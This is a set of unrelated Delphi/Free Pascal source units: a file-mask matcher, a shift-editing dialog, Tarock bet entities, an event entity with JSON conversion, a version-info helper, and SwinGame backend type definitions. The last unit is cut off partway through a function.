|
unit nsMasks;
interface
uses
SysUtils, Classes, Masks;
type
TMaskItem = class(TCollectionItem)
private
FMask: TMask;
FMaskValue: string;
procedure SetMaskValue(const Value: string);
public
constructor Create(Collection: TCollection); override;
destructor Destroy; override;
function Matches(const AFileName: string): Boolean;
published
property MV: string read FMaskValue write SetMaskValue;
end;
TMaskItems = class(TCollection)
private
public
constructor Create;
procedure SetMask(const AValue: string);
function GetMask: string;
function Matches(const AFileName: string): Boolean;
end;
implementation
{ TMaskItem }
constructor TMaskItem.Create(Collection: TCollection);
begin
inherited Create(Collection);
end;
destructor TMaskItem.Destroy;
begin
if FMask <> nil then
FreeAndNil(FMask);
inherited Destroy;
end;
function TMaskItem.Matches(const AFileName: string): Boolean;
begin
if FMask <> nil then
Result := FMask.Matches(AFileName)
else
Result := False;
end;
procedure TMaskItem.SetMaskValue(const Value: string);
begin
if (FMaskValue <> Value) and (Value <> EmptyStr) then
begin
if FMask <> nil then
FreeAndNil(FMask);
FMaskValue := Value;
FMask := TMask.Create(FMaskValue);
end;
end;
{ TMaskItems }
constructor TMaskItems.Create;
begin
inherited Create(TMaskItem);
end;
function TMaskItems.GetMask: string;
var
Index: integer;
begin
for Index := 0 to Count - 1 do
Result := Result + TMaskItem(Items[Index]).MV + #59;
if Length(Result) > 0 then
SetLength(Result, Length(Result) - 1);
end;
function TMaskItems.Matches(const AFileName: string): Boolean;
var
Index: integer;
Item: TMaskItem;
begin
Result := False;
for Index := 0 to Count - 1 do
begin
Item := TMaskItem(Items[Index]);
if Item.Matches(AFileName) then
begin
Result := True;
Exit;
end;
end;
end;
procedure TMaskItems.SetMask(const AValue: string);
var
S: string;
iPos: integer;
Item: TMaskItem;
sMask: string;
begin
Clear;
if AValue = EmptyStr then
Exit;
S := AValue;
repeat
iPos := AnsiPos(#59, S);
if iPos > 0 then
begin
sMask := System.Copy(S, 1, iPos - 1);
System.Delete(S, 1, iPos);
end
else
begin
sMask := S;
S := EmptyStr;
end;
if sMask <> EmptyStr then
begin
Item := TMaskItem(inherited Add);
Item.MV := sMask;
end;
until S = EmptyStr;
end;
end.
|
unit ufrmDialogShift;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ufrmMasterDialog, ExtCtrls, uDMClient, uConstanta,
ComCtrls, StdCtrls, System.Actions, Vcl.ActnList, ufraFooterDialog3Button,
uModShift, uModSuplier, uInterface, uAppUtils, Datasnap.DBClient, uDXUtils,
Data.DB;
type
TfrmDialogShift = class(TfrmMasterDialog, ICRUDAble)
edtNameShift: TLabeledEdit;
dtpStart: TDateTimePicker;
dtpEnd: TDateTimePicker;
Label1: TLabel;
lbl1: TLabel;
procedure FormCreate(Sender: TObject);
procedure actDeleteExecute(Sender: TObject);
procedure actSaveExecute(Sender: TObject);
private
FModShift: TModShift;
function GetModShift: TModShift;
procedure SimpanData;
property ModShift: TModShift read GetModShift write FModShift;
public
procedure LoadData(ID: String);
end;
var
frmDialogShift: TfrmDialogShift;
implementation
uses ufrmShift, uTSCommonDlg, uRetnoUnit;
{$R *.dfm}
procedure TfrmDialogShift.FormCreate(Sender: TObject);
begin
inherited;
self.AssignKeyDownEvent;
end;
procedure TfrmDialogShift.actDeleteExecute(Sender: TObject);
begin
inherited;
if not TAppUtils.Confirm(CONF_VALIDATE_FOR_DELETE) then exit;
Try
DMCLient.CrudClient.DeleteFromDB(ModShift);
TAppUtils.Information(CONF_DELETE_SUCCESSFULLY);
Self.ModalResult:=mrOk;
except
TAppUtils.Error(ER_DELETE_FAILED);
raise;
End;
end;
procedure TfrmDialogShift.actSaveExecute(Sender: TObject);
begin
inherited;
SimpanData;
end;
function TfrmDialogShift.GetModShift: TModShift;
begin
if not Assigned(FModShift) then
FModShift := TModShift.Create;
Result := FModShift;
end;
procedure TfrmDialogShift.LoadData(ID: String);
begin
FModShift := DMclient.CrudClient.Retrieve(TModShift.ClassName, ID) as TModShift;
edtNameShift.Text := ModShift.SHIFT_NAME;
dtpStart.DateTime := ModShift.SHIFT_START_TIME;
dtpEnd.DateTime := ModShift.SHIFT_END_TIME;
end;
procedure TfrmDialogShift.SimpanData;
//var
// lModSuppGroup: TModSuplierMerchanGroup;
begin
if not ValidateEmptyCtrl([1], True, pnlBody) then exit;
ModShift.SHIFT_NAME := edtNameShift.Text;
ModShift.SHIFT_START_TIME := dtpStart.DateTime;
ModShift.SHIFT_END_TIME := dtpEnd.DateTime;
try
DMClient.CrudClient.SaveToDB(ModShift);
TAppUtils.Information(CONF_ADD_SUCCESSFULLY);
self.ModalResult:=mrOk;
except
TAppUtils.Error(ER_INSERT_FAILED);
raise;
end;
end;
end.
|
unit Common.Entities.Bet;
interface
uses Neon.Core.Attributes,Generics.Collections,Common.Entities.Player;
type
TAddBetType=(abtNone,abtBet,abtContra,abtRe);
TAddBet=record
BetType:TAddBetType;
Team:TTeam;
end;
TAddBets=record
Minus10:TAddBet;
ContraGame:TAddBet;
AllKings:TAddBet;
KingUlt:TAddBet;
PagatUlt:TAddBet;
VogelII:TAddBet;
VogelIII:TAddBet;
VogelIV:TAddBet;
Valat:TAddBet;
Trull:TAddBet;
CatchKing:TAddBet;
CatchPagat:TAddBet;
CatchXXI:TAddBet;
end;
TBet=class(TObject)
private
FPlayer: String;
FGameTypeID: String;
FAddBets: TAddBets;
public
property Player:String read FPlayer write FPlayer;
property GameTypeID:String read FGameTypeID write FGameTypeID;
// [NeonIgnore]
property AddBets:TAddBets read FAddBets write FAddBets;
procedure Assign(const ASource:TBet);
end;
TBets=class(TObjectList<TBet>)
public
function Clone:TBets;
function AllPassed:Boolean;
function WinningGame:String;
end;
implementation
{ TBets }
function TBets.AllPassed: Boolean;
var
itm: TBet;
begin
result:=True;
for itm in Self do begin
if (itm.GameTypeID<>'HOLD') and (itm.GameTypeid<>'PASS') then begin
Result:=False;
Break;
end;
end;
end;
function TBets.Clone: TBets;
var bets:TBets;
bet:TBet;
i:Integer;
begin
bets:=TBets.Create(True);
for i:=0 to Count-1 do begin
bet:=TBet.Create;
bet.Assign(Items[i]);
bets.Add(bet);
end;
Result:=bets;
end;
function TBets.WinningGame: String;
var i: Integer;
begin
Result:='';
for i:=Count-1 downto 0 do begin
if Items[i].GameTypeID<>'PASS' then begin
result:=Items[i].GameTypeID;
break;
end;
end;
end;
{ TBet }
procedure TBet.Assign(const ASource: TBet);
begin
Player:=ASource.Player;
GameTypeID:=ASource.GameTypeID;
FAddBets:=ASource.AddBets;
end;
end.
|
unit feli_event;
{$mode objfpc}
interface
uses
feli_collection,
feli_document,
feli_event_participant,
feli_event_ticket,
fpjson;
type
FeliEventKeys = class
public
const
id = 'id';
organiser = 'organiser';
name = 'name';
description = 'description';
startTime = 'start_time';
endTime = 'end_time';
createdAt = 'created_at';
venue = 'venue';
theme = 'theme';
participantLimit = 'participant_limit';
tickets = 'tickets';
participants = 'participants';
waitingList = 'waiting_list';
end;
FeliEvent = class(FeliDocument)
public
id, organiser, name, description, venue, theme: ansiString;
startTime, endTime, createdAt, participantLimit: int64;
// tickets, participants, waitingList: TJsonArray;
tickets: FeliEventTicketCollection;
participants: FeliEventParticipantCollection;
waitingList: FeliEventParticipantCollection;
constructor create();
function toTJsonObject(secure: boolean = false): TJsonObject; override;
// function toJson(): ansiString;
procedure generateId();
function validate(var error: ansiString): boolean;
// Factory Methods
class function fromTJsonObject(eventObject: TJsonObject): FeliEvent; static;
end;
FeliEventCollection = class(FeliCollection)
private
public
// data: TJsonArray;
// constructor create();
// function where(key: ansiString; operation: ansiString; value: ansiString): FeliEventCollection;
// function toTJsonArray(): TJsonArray;
// function toJson(): ansiString;
procedure add(event: FeliEvent);
// function length(): int64;
// class function fromTJsonArray(eventsArray: TJsonArray): FeliEventCollection; static;
class function fromFeliCollection(collection: FeliCollection): FeliEventCollection; static;
end;
implementation
uses
feli_crypto,
feli_operators,
feli_stack_tracer,
sysutils;
constructor FeliEvent.create();
begin
FeliStackTrace.trace('begin', 'constructor FeliEvent.create();');
createdAt := 0;
startTime := 0;
endTime := 0;
createdAt := 0;
participantLimit := 0;
tickets := FeliEventTicketCollection.create();
participants := FeliEventParticipantCollection.create();
waitingList := FeliEventWaitingCollection.create();
FeliStackTrace.trace('end', 'constructor FeliEvent.create();');
end;
function FeliEvent.toTJsonObject(secure: boolean = false): TJsonObject;
var
event: TJsonObject;
begin
FeliStackTrace.trace('begin', 'function FeliEvent.toTJsonObject(secure: boolean = false): TJsonObject;');
event := TJsonObject.create();
event.add(FeliEventKeys.id, id);
event.add(FeliEventKeys.organiser, organiser);
event.add(FeliEventKeys.name, name);
event.add(FeliEventKeys.description, description);
event.add(FeliEventKeys.startTime, startTime);
event.add(FeliEventKeys.endTime, endTime);
event.add(FeliEventKeys.createdAt, createdAt);
event.add(FeliEventKeys.venue, venue);
event.add(FeliEventKeys.theme, theme);
event.add(FeliEventKeys.participantLimit, participantLimit);
event.add(FeliEventKeys.tickets, tickets.toTJsonArray());
event.add(FeliEventKeys.participants, participants.toTJsonArray());
event.add(FeliEventKeys.waitingList, waitingList.toTJsonArray());
result := event;
FeliStackTrace.trace('end', 'function FeliEvent.toTJsonObject(secure: boolean = false): TJsonObject;');
end;
// function FeliEvent.toJson(): ansiString;
// begin
// result := self.toTJsonObject().formatJson;
// end;
procedure FeliEvent.generateId();
begin
FeliStackTrace.trace('begin', 'procedure FeliEvent.generateId();');
id := FeliCrypto.generateSalt(32);
FeliStackTrace.trace('end', 'procedure FeliEvent.generateId();');
end;
function FeliEvent.validate(var error: ansiString): boolean;
begin
result := true;
if organiser = '' then begin error := 'empty_organiser_error'; result := false end;
if name = '' then begin error := 'empty_name_error'; result := false end;
if description = '' then begin error := 'empty_name_error'; result := false end;
if venue = '' then begin error := 'empty_name_error'; result := false end;
if theme = '' then begin error := 'empty_name_error'; result := false end;
if tickets.length() <= 0 then begin error := 'empty_tickets_error'; result := false end;
if participantLimit <= 0 then begin error := 'participant_limit_too_low'; result := false end;
if startTime >= endTime then begin error := 'invalid_time_error'; result := false end;
end;
class function FeliEvent.fromTJsonObject(eventObject: TJsonObject): FeliEvent; static;
var
feliEventInstance: FeliEvent;
tempArray: TJsonArray;
tempCollection: FeliCollection;
tempString: ansiString;
begin
FeliStackTrace.trace('begin', 'class function FeliEvent.fromTJsonObject(eventObject: TJsonObject): FeliEvent; static;');
feliEventInstance := FeliEvent.create();
with feliEventInstance do
begin
id := eventObject.getPath(FeliEventKeys.id).asString;
organiser := eventObject.getPath(FeliEventKeys.organiser).asString;
name := eventObject.getPath(FeliEventKeys.name).asString;
description := eventObject.getPath(FeliEventKeys.description).asString;
venue := eventObject.getPath(FeliEventKeys.venue).asString;
theme := eventObject.getPath(FeliEventKeys.theme).asString;
tempString := eventObject.getPath(FeliEventKeys.startTime).asString;
startTime := strToInt64(tempString);
tempString := eventObject.getPath(FeliEventKeys.endTime).asString;
endTime := strToInt64(tempString);
tempString := eventObject.getPath(FeliEventKeys.createdAt).asString;
createdAt := strToInt64(tempString);
tempString := eventObject.getPath(FeliEventKeys.participantLimit).asString;
participantLimit := strToInt64(tempString);
tempArray := eventObject.getPath(FeliEventKeys.tickets) as TJsonArray;
tempCollection := FeliCollection.fromTJsonArray(tempArray);
tickets := FeliEventTicketCollection.fromFeliCollection(tempCollection);
tempArray := eventObject.getPath(FeliEventKeys.participants) as TJsonArray;
tempCollection := FeliCollection.fromTJsonArray(tempArray);
participants := FeliEventParticipantCollection.fromFeliCollection(tempCollection);
tempArray := eventObject.getPath(FeliEventKeys.waitingList) as TJsonArray;
tempCollection := FeliCollection.fromTJsonArray(tempArray);
waitingList := FeliEventParticipantCollection.fromFeliCollection(tempCollection);
end;
result := feliEventInstance;
FeliStackTrace.trace('end', 'class function FeliEvent.fromTJsonObject(eventObject: TJsonObject): FeliEvent; static;');
end;
// constructor FeliEventCollection.create();
// begin
// self.data := TJsonArray.create()
// end;
// function FeliEventCollection.where(key: ansiString; operation: ansiString; value: ansiString): FeliEventCollection;
// var
// dataTemp: TJsonArray;
// dataEnum: TJsonEnum;
// dataSingle: TJsonObject;
// begin
// dataTemp := TJsonArray.create();
// for dataEnum in data do
// begin
// dataSingle := dataEnum.value as TJsonObject;
// case operation of
// FeliOperators.equalsTo: begin
// if (dataSingle.getPath(key).asString = value) then
// dataTemp.add(dataSingle);
// end;
// FeliOperators.notEqualsTo: begin
// if (dataSingle.getPath(key).asString <> value) then
// dataTemp.add(dataSingle);
// end;
// FeliOperators.largerThanOrEqualTo: begin
// if (dataSingle.getPath(key).asString >= value) then
// dataTemp.add(dataSingle);
// end;
// FeliOperators.largerThan: begin
// if (dataSingle.getPath(key).asString > value) then
// dataTemp.add(dataSingle);
// end;
// FeliOperators.smallerThanOrEqualTo: begin
// if (dataSingle.getPath(key).asString <= value) then
// dataTemp.add(dataSingle);
// end;
// FeliOperators.smallerThan: begin
// if (dataSingle.getPath(key).asString < value) then
// dataTemp.add(dataSingle);
// end;
// end;
// end;
// result := FeliEventCollection.fromTJsonArray(dataTemp);
// end;
// function FeliEventCollection.toTJsonArray(): TJsonArray;
// begin
// result := data;
// end;
// function FeliEventCollection.toJson(): ansiString;
// begin
// result := self.toTJsonArray().formatJson;
// end;
procedure FeliEventCollection.add(event: FeliEvent);
begin
FeliStackTrace.trace('begin', 'procedure FeliEventCollection.add(event: FeliEvent);');
data.add(event.toTJsonObject());
FeliStackTrace.trace('end', 'procedure FeliEventCollection.add(event: FeliEvent);');
end;
// function FeliEventCollection.length(): int64;
// begin
// result := data.count;
// end;
// class function FeliEventCollection.fromTJsonArray(eventsArray: TJsonArray): FeliEventCollection; static;
// var
// feliEventCollectionInstance: FeliEventCollection;
// begin
// feliEventCollectionInstance := FeliEventCollection.create();
// feliEventCollectionInstance.data := eventsArray;
// result := feliEventCollectionInstance;
// end;
class function FeliEventCollection.fromFeliCollection(collection: FeliCollection): FeliEventCollection; static;
var
feliEventCollectionInstance: FeliEventCollection;
begin
FeliStackTrace.trace('begin', 'class function FeliEventCollection.fromFeliCollection(collection: FeliCollection): FeliEventCollection; static;');
feliEventCollectionInstance := FeliEventCollection.create();
feliEventCollectionInstance.data := collection.data;
result := feliEventCollectionInstance;
FeliStackTrace.trace('end', 'class function FeliEventCollection.fromFeliCollection(collection: FeliCollection): FeliEventCollection; static;');
end;
end. |
unit ApplicationVersionHelper;
// -----------------------------------------------------------------------------
// Project: VersionInfo
// Module: ApplicationVersionHelper
// Description: GetFileVersionInfo Win32 API wrapper.
// Version: 1.1
// Release: 1
// Date: 2-MAR-2008
// Target: Delphi 2007, Win32.
// Author(s): Anders Melander, anders@melander.dk
// Copyright: (c) 2007-2008 Anders Melander.
// All rights reserved.
// -----------------------------------------------------------------------------
// This work is licensed under the
// "Creative Commons Attribution-Share Alike 3.0 Unported" license.
// http://creativecommons.org/licenses/by-sa/3.0/
// -----------------------------------------------------------------------------
interface
uses
VersionInfo,
Forms,
Classes;
type
TApplicationVersionContainer = class(TComponent)
strict private
FVersion: TVersionInfo;
public
constructor Create(AOwner: TApplication); reintroduce;
destructor Destroy; override;
property Version: TVersionInfo read FVersion;
end;
TApplicationVersionHelper = class helper for TApplication
strict protected
function GetVersion: TVersionInfo;
public
property Version: TVersionInfo read GetVersion;
end;
implementation
{ TApplicationVersionContainer }
constructor TApplicationVersionContainer.Create(AOwner: TApplication);
begin
inherited Create(AOwner);
FVersion := TVersionInfo.Create(AOwner.ExeName);
end;
destructor TApplicationVersionContainer.Destroy;
begin
FVersion.Free;
inherited Destroy;
end;
{ TApplicationVersionHelper }
function TApplicationVersionHelper.GetVersion: TVersionInfo;
var
i: integer;
begin
Result := nil;
i := 0;
while (Result = nil) and (i < ComponentCount) do
begin
if (Components[i] is TApplicationVersionContainer) then
begin
Result := TApplicationVersionContainer(Components[i]).Version;
break;
end;
inc(i);
end;
if (Result = nil) then
Result := TApplicationVersionContainer.Create(Self).Version;
end;
end.
|
//=============================================================================
// sgBackendTypes.pas
//=============================================================================
//
// This provides the type details for records pointed to by abstract types
// from sgTypes.
//
unit sgBackendTypes;
interface
uses sgTypes, sgDriverSDL2Types;
//
// The kinds of ponters we manage
//
const
AUDIO_PTR = 'AUDO';
MUSIC_PTR = 'MUSI';
ANIMATION_PTR = 'ANIM';
ANIMATION_SCRIPT_PTR = 'ASCR';
BITMAP_PTR = 'BMP*';
SPRITE_PTR = 'SPRT';
REGION_PTR = 'REGI';
PANEL_PTR = 'PANL';
ARDUINO_PTR = 'ARDU';
TIMER_PTR = 'TIMR';
FONT_PTR = 'FONT';
WINDOW_PTR = 'WIND';
// HTTP_HEADER_PTR = 'HHDR';
HTTP_REQUEST_PTR = 'HREQ';
HTTP_RESPONSE_PTR = 'HRES';
CONNECTION_PTR = 'CONP';
MESSAGE_PTR = 'MSGP';
SERVER_SOCKET_PTR = 'SVRS';
NONE_PTR = 'NONE'; // done after clear
type
PointerIdentifier = array [0..3] of Char;
/// @type ResolutionArray
/// @array_wrapper
/// @field data: array of Resolution
ResolutionArray = Array of Resolution;
/// @type LongintArray
/// @array_wrapper
/// @field data: array of Longint
LongintArray = array of Longint;
/// @type SingleArray
/// @array_wrapper
/// @field data: array of Single
SingleArray = array of Single;
/// @type StringArray
/// @array_wrapper
/// @field data: array of String
StringArray = array of String;
/// @type Point2DArray
/// @array_wrapper
/// @field data: array of Point2D
Point2DArray = Array of Point2D;
/// @type TriangleArray
/// @array_wrapper
/// @field data: array of Triangle
TriangleArray = Array of Triangle;
/// @type LinesArray
/// @array_wrapper
/// @field data: array of LineSegment
LinesArray = Array of LineSegment;
/// @type BitmapArray
/// @array_wrapper
/// @field data: array of Bitmap
BitmapArray = array of Bitmap;
/// The named index collection type is used to maintain a named collection of
/// index values that can then be used to lookup the location of the
/// named value within a collection.
///
/// @struct NamedIndexCollection
/// @via_pointer
NamedIndexCollection = packed record
names: StringArray; // The names of these ids
ids: Pointer; // A pointer to a TStringHash with this data
end;
//
// SoundEffect -> SoundEffectData
//
SoundEffectData = packed record
id: PointerIdentifier;
effect: Pointer;
filename, name: String;
end;
SoundEffectPtr = ^SoundEffectData;
MusicPtr = ^SoundEffectData;
AnimationFrame = ^AnimationFrameData;
AnimationFrameData = packed record
index: Longint; // The index of the frame in the animation template
cellIndex: Longint; // Which cell of the current bitmap is drawn
sound: SoundEffect; // Which sound should be played on entry
duration: Single; // How long should this animation frame play for
movement: Vector; // Movement data associated with the frame
next: AnimationFrame; // What is the next frame in this animation
end;
AnimationScriptPtr = ^AnimationScriptData;
// Details of how an animation plays out -- a sequence of frames with and animation ids (link to starting frames)
AnimationScriptData = packed record
id: PointerIdentifier;
name: String; // The name of the animation template so it can be retrieved from resources
filename: String; // The filename from which this template was loaded
animationIds: NamedIndexCollection; // The names and ids of the animations. This links to animations.
animations: LongintArray; // The starting index of the animations in this template.
frames: Array of AnimationFrame; // The frames of the animations within this template.
animObjs: Array of Pointer; // The animations created from this script
nextAnimIdx: LongInt; // The index of the last animObjs
end;
AnimationPtr = ^AnimationData;
// An individual data for an animation -- what state it is at
AnimationData = packed record
id: PointerIdentifier;
firstFrame: AnimationFrame; // Where did it start?
currentFrame: AnimationFrame; // Where is the animation up to
lastFrame: AnimationFrame; // The last frame used, so last image can be drawn
frameTime: Single; // How long have we spent in this frame?
enteredFrame: Boolean; // Did we just enter this frame? (can be used for sound playing)
script: AnimationScriptPtr; // Which script was it created from?
animationName: String; // The name of the animation - when it was started
end;
BitmapPtr = ^BitmapData;
ImageData = packed record
surface : sg_drawing_surface; // The actual bitmap image
clipStack : Array of Rectangle; // The clipping rectangle history for the bitmap
end;
/// Bitmap data stores the data associated with a Bitmap. Each bitmap contains
/// a pointer to the bitmap color information (surface), its width, height,
/// and a mask storing the non-transparent pixels that is used for pixel level
/// collision checking.
///
/// @note Do not use BitmapData directly, use Bitmap.
/// @struct BitmapData
/// @via_pointer
BitmapData = packed record
id : PointerIdentifier;
filename, name : String; // Used for locating bitmaps during load/freeing
image : ImageData;
//Used for bitmaps that are made up of cells
cellW : Longint; // The width of a cell
cellH : Longint; // The height of a cell
cellCols : Longint; // The columns of cells in the bitmap
cellRows : Longint; // The rows of cells in the bitmap
cellCount : Longint; // The total number of cells in the bitmap
nonTransparentPixels : Array of Array of Boolean; // Pixel mask used for pixel level collisions
end;
/// An array of SpriteEventHandlers used internally by Sprites.
///
/// @type SpriteEventHandlerArray
/// @array_wrapper
/// @field data: array of SpriteEventHandler
SpriteEventHandlerArray = array of SpriteEventHandler;
SpritePtr = ^SpriteData;
SpriteData = packed record
id: PointerIdentifier;
name: String; // The name of the sprite for resource management
layerIds: NamedIndexCollection; // The name <-> ids mapping for layers
layers: BitmapArray; // Layers of the sprites
visibleLayers: LongintArray; // The indexes of the visible layers
layerOffsets: Point2DArray; // Offsets from drawing the layers
values: SingleArray; // Values associated with this sprite
valueIds: NamedIndexCollection; // The name <-> ids mappings for values
animationInfo: Animation; // The data used to animate this sprite
animationScript: AnimationScript; // The template for this sprite's animations
position: Point2D; // The game location of the sprite
velocity: Vector; // The velocity of the sprite
collisionKind: CollisionTestKind; //The kind of collisions used by this sprite
collisionBitmap: Bitmap; // The bitmap used for collision testing (default to first image)
anchorPoint: Point2D;
positionAtAnchorPoint: Boolean;
isMoving: Boolean; // Used for events to indicate the sprite is moving
destination: Point2D; // The destination the sprite is moving to
movingVec: Vector; // The sprite's movement vector
arriveInSec: Single; // Amount of time in seconds to arrive at point
lastUpdate: Longint; // Time of last update
announcedAnimationEnd: Boolean; // Used to avoid multiple announcements of an end of an animation
evts: SpriteEventHandlerArray; // The call backs listening for sprite events
pack: Pointer; // Points the the SpritePack that contains this sprite
//add later ->
//collisionShape: Shape; // This can be used in place of pixel level collisions for a Shape
end;
/// GUIList is a list GUI Element which contains ItemLists
///
/// @class GUIList
/// @pointer_wrapper
/// @no_free_pointer_wrapper
/// @field pointer: pointer
GUIList = ^GUIListData;
/// GUILabel is a Label GUI Element which contains string font and font alignment
///
/// @class GUILabel
/// @pointer_wrapper
/// @no_free_pointer_wrapper
/// @field pointer: ^GUILabelData
GUILabel = ^GUILabelData;
/// GUICheckbox is a Checkbox GUI Element which contains a bool
///
/// @class GUICheckbox
/// @pointer_wrapper
/// @no_free_pointer_wrapper
/// @field pointer: ^GUICheckboxData
GUICheckbox = ^GUICheckboxData;
/// GUITextbox is a textbox gui component in swingame
/// it has a string font length limit region and font alignment
///
/// @class GUITextbox
/// @pointer_wrapper
/// @no_free_pointer_wrapper
/// @field pointer: ^RegionData
GUITextbox = ^GUITextboxData;
/// GUI radio group is a radio group gui component in swingame.
///
///
/// @class GUIRadioGroup
/// @pointer_wrapper
/// @no_free_pointer_wrapper
/// @field pointer : ^GUIRadioGroupData
GUIRadioGroup = ^GUIRadioGroupData;
/// Each list item has text and an image
///
/// @struct GUIListItem
///
/// @via_pointer
GUIListItem = packed record
text: String;
image: Bitmap;
cell: Longint;
parent: GUIList;
end;
/// @struct GUIListData
/// @via_pointer
GUIListData = packed record
verticalScroll: Boolean;
//The areas for the up/left down/right scrolling buttons
scrollUp: Rectangle;
scrollDown: Rectangle;
scrollArea: Rectangle;
columns: Longint;
rows: Longint;
rowHeight: Single;
colWidth: Single;
scrollSize: Longint;
placeholder: Array of Rectangle;
activeItem: Longint;
startingAt: Longint;
items: Array of GUIListItem;
scrollButton: Bitmap;
end;
/// @struct GUICheckboxData
/// @via_pointer
GUICheckboxData = packed record
state: Boolean;
end;
/// @struct GUILabelData
/// @via_pointer
GUILabelData = packed record
contentString: String;
end;
RegionPtr = ^RegionData;
PanelPtr = ^PanelData;
/// @struct RegionData
/// @via_pointer
RegionData = packed record
id: PointerIdentifier;
stringID: String;
kind: GUIElementKind;
regionIdx: Longint;
elementIndex: Longint;
area: Rectangle;
active: Boolean;
parent: PanelPtr;
callbacks: Array of GUIEventCallback;
font: Font;
alignment: FontAlignment;
end;
/// @struct GUIRadioGroupData
/// @via_pointer
GUIRadioGroupData = packed record
groupID: string;
buttons: Array of RegionPtr;
activeButton: Longint;
end;
/// @struct GUITextboxData
/// @via_pointer
GUITextboxData = packed record
contentString: String;
lengthLimit: Longint;
forRegion: RegionPtr;
end;
///@struct PanelData
///@via_pointer
PanelData = packed record
id: PointerIdentifier;
name: String;
filename: String;
panelID: Longint;
area: Rectangle;
visible: Boolean;
active: Boolean;
draggable: Boolean;
// The panel's bitmaps
panelBitmap: Bitmap;
panelBitmapInactive: Bitmap;
panelBitmapActive: Bitmap;
// The regions within the Panel
regions: Array of RegionData;
regionIds: NamedIndexCollection;
// The extra details for the different kinds of controls
labels: Array of GUILabelData;
checkBoxes: Array of GUICheckboxData;
radioGroups: Array of GUIRadioGroupData;
textBoxes: Array of GUITextBoxData;
lists: Array of GUIListData;
modal: Boolean; // A panel that is modal blocks events from panels shown earlier.
// Event callback mechanisms
DrawAsVectors: Boolean;
end;
ArduinoPtr = ^ArduinoData;
///@struct ArduinoData
///@via_pointer
ArduinoData = record
id: PointerIdentifier;
name: String;
ptr: Pointer;
port: String;
baud: LongInt;
open: Boolean;
hasError: Boolean;
errorMessage: String;
end;
TimerPtr = ^TimerData;
/// @struct TimerData
/// @via_pointer
TimerData = packed record
id: PointerIdentifier;
startTicks: Longword;
pausedTicks: Longword;
paused: Boolean;
started: Boolean;
name: String; // the name of the timer registered with the _timers dictionary
end;
FontPtr = ^FontData;
/// @struct FontData
/// @via_pointer
FontData = packed record
id: PointerIdentifier;
fptr : Pointer;
//fptr: PTTF_Font;
name: String;
end;
WindowPtr = ^WindowData;
WindowData = packed record
id: PointerIdentifier;
caption: String;
image: ImageData;
x, y: Longint;
open: Boolean;
fullscreen: Boolean;
border: Boolean;
eventData: sg_window_data;
screenRect: Rectangle;
tempString: String;
maxStringLen: LongInt;
textBitmap: Bitmap;
cursorBitmap: Bitmap;
font: Font;
foreColor: Color;
backgroundColor: Color;
area: Rectangle; // area for input text
readingString: Boolean;
textCancelled: Boolean;
end;
UnknownDataPtr = ^UnknownData;
UnknownData = packed record
id : PointerIdentifier;
end;
ConnectionPtr = ^ConnectionData;
MessagePtr = ^MessageData;
ServerSocketPtr = ^ServerData;
HttpResponsePtr = ^HttpResponseData;
HttpHeaderData = record
name : String;
value: String;
end;
HttpRequestData = packed record
id : PointerIdentifier;
// requestType: HttpMethod;
url : String;
version : String;
headername : StringArray;
headervalue: StringArray;
body : String;
end;
HttpResponseData = record
id : PointerIdentifier;
data : sg_http_response;
end;
MessageData = packed record
id : PointerIdentifier;
data : String;
protocol : ConnectionType;
//TCP has a
connection: ^ConnectionData;
//UDP is from
host : String;
port : Word;
end;
ConnectionData = packed record
id : PointerIdentifier;
name : String;
socket : sg_network_connection;
ip : LongWord;
port : LongInt;
open : Boolean;
protocol : ConnectionType;
stringIP : String; //Allow for Reconnection
messages : array of MessageData;
msgLen : LongInt; // This data is used to handle splitting of messages
partMsgData : String; // over multiple packets
end;
/// @struct ServerData
/// @via_pointer
ServerData = packed record
id : PointerIdentifier;
name : String;
socket : sg_network_connection; // socket used to accept connections
port : Word;
newConnections : LongInt; // the number of new connections -- reset on new scan for connections
protocol : ConnectionType;
connections : array of ConnectionPtr; // TCP connections
messages : array of MessageData; // UDP messages
end;
function PtrKind(p: Pointer): PointerIdentifier;
function ToSoundEffectPtr(s: SoundEffect): SoundEffectPtr;
function ToMusicPtr(m: Music): MusicPtr;
function ToAnimationScriptPtr(a: AnimationScript): AnimationScriptPtr;
function ToAnimationPtr(a: Animation): AnimationPtr;
function ToBitmapPtr(b: Bitmap): BitmapPtr;
function ToSpritePtr(s: Sprite): SpritePtr;
function ToPanelPtr(p: Panel): PanelPtr;
function ToRegionPtr(r: Region): RegionPtr;
function ToArduinoPtr(a: ArduinoDevice): ArduinoPtr;
function ToTimerPtr(t: Timer): TimerPtr;
function ToFontPtr(f: Font): FontPtr;
function ToWindowPtr(w: Window): WindowPtr;
function ToConnectionPtr(c: Connection): ConnectionPtr;
function ToServerSocketPtr(c: ServerSocket): ServerSocketPtr;
function ToHttpResponsePtr(c: HttpResponse): HttpResponsePtr;
function ToMessagePtr(c: Message): MessagePtr;
function ToSurfacePtr(p: Pointer): psg_drawing_surface;
implementation
uses sgShared;
function PtrKind(p: Pointer): PointerIdentifier;
var
ptr: UnknownDataPtr;
begin
ptr := UnknownDataPtr(p);
if Assigned(ptr) then
result := ptr^.id
else
result := NONE_PTR;
end;
function ToSoundEffectPtr(s: SoundEffect): SoundEffectPtr;
begin
result := SoundEffectPtr(s);
if Assigned(result) and (result^.id <> AUDIO_PTR) then
begin
RaiseWarning('Attempted to access a SoundEffect that appears to be an invalid pointer');
result := nil;
end;
end;
function ToMusicPtr(m: Music): MusicPtr;
begin
result := MusicPtr(m);
if Assigned(result) and (result^.id <> MUSIC_PTR) then
begin
RaiseWarning('Attempted to access a Music that appears to be an invalid pointer');
result := nil;
end;
end;
function ToAnimationScriptPtr(a: AnimationScript): AnimationScriptPtr;
begin
result := AnimationScriptPtr(a);
if Assigned(result) and (result^.id <> ANIMATION_SCRIPT_PTR) then
begin
RaiseWarning('Attempted to access an Animation Script that appears to be an invalid pointer');
result := nil;
end;
end;
function ToAnimationPtr(a: Animation): AnimationPtr;
begin
result := AnimationPtr(a);
if Assigned(result) and (result^.id <> ANIMATION_PTR) then
begin
RaiseWarning('Attempted to access an Animation that appears to be an invalid pointer');
result := nil;
end;
end;
function ToBitmapPtr(b: Bitmap): BitmapPtr;
begin
result := BitmapPtr(b);
if Assigned(result) and (result^.id <> BITMAP_PTR) then
begin
RaiseWarning('Attempted to access a Bitmap that appears to be an invalid pointer');
result := nil;
end;
end;
function ToSpritePtr(s: Sprite): SpritePtr;
begin
result := SpritePtr(s);
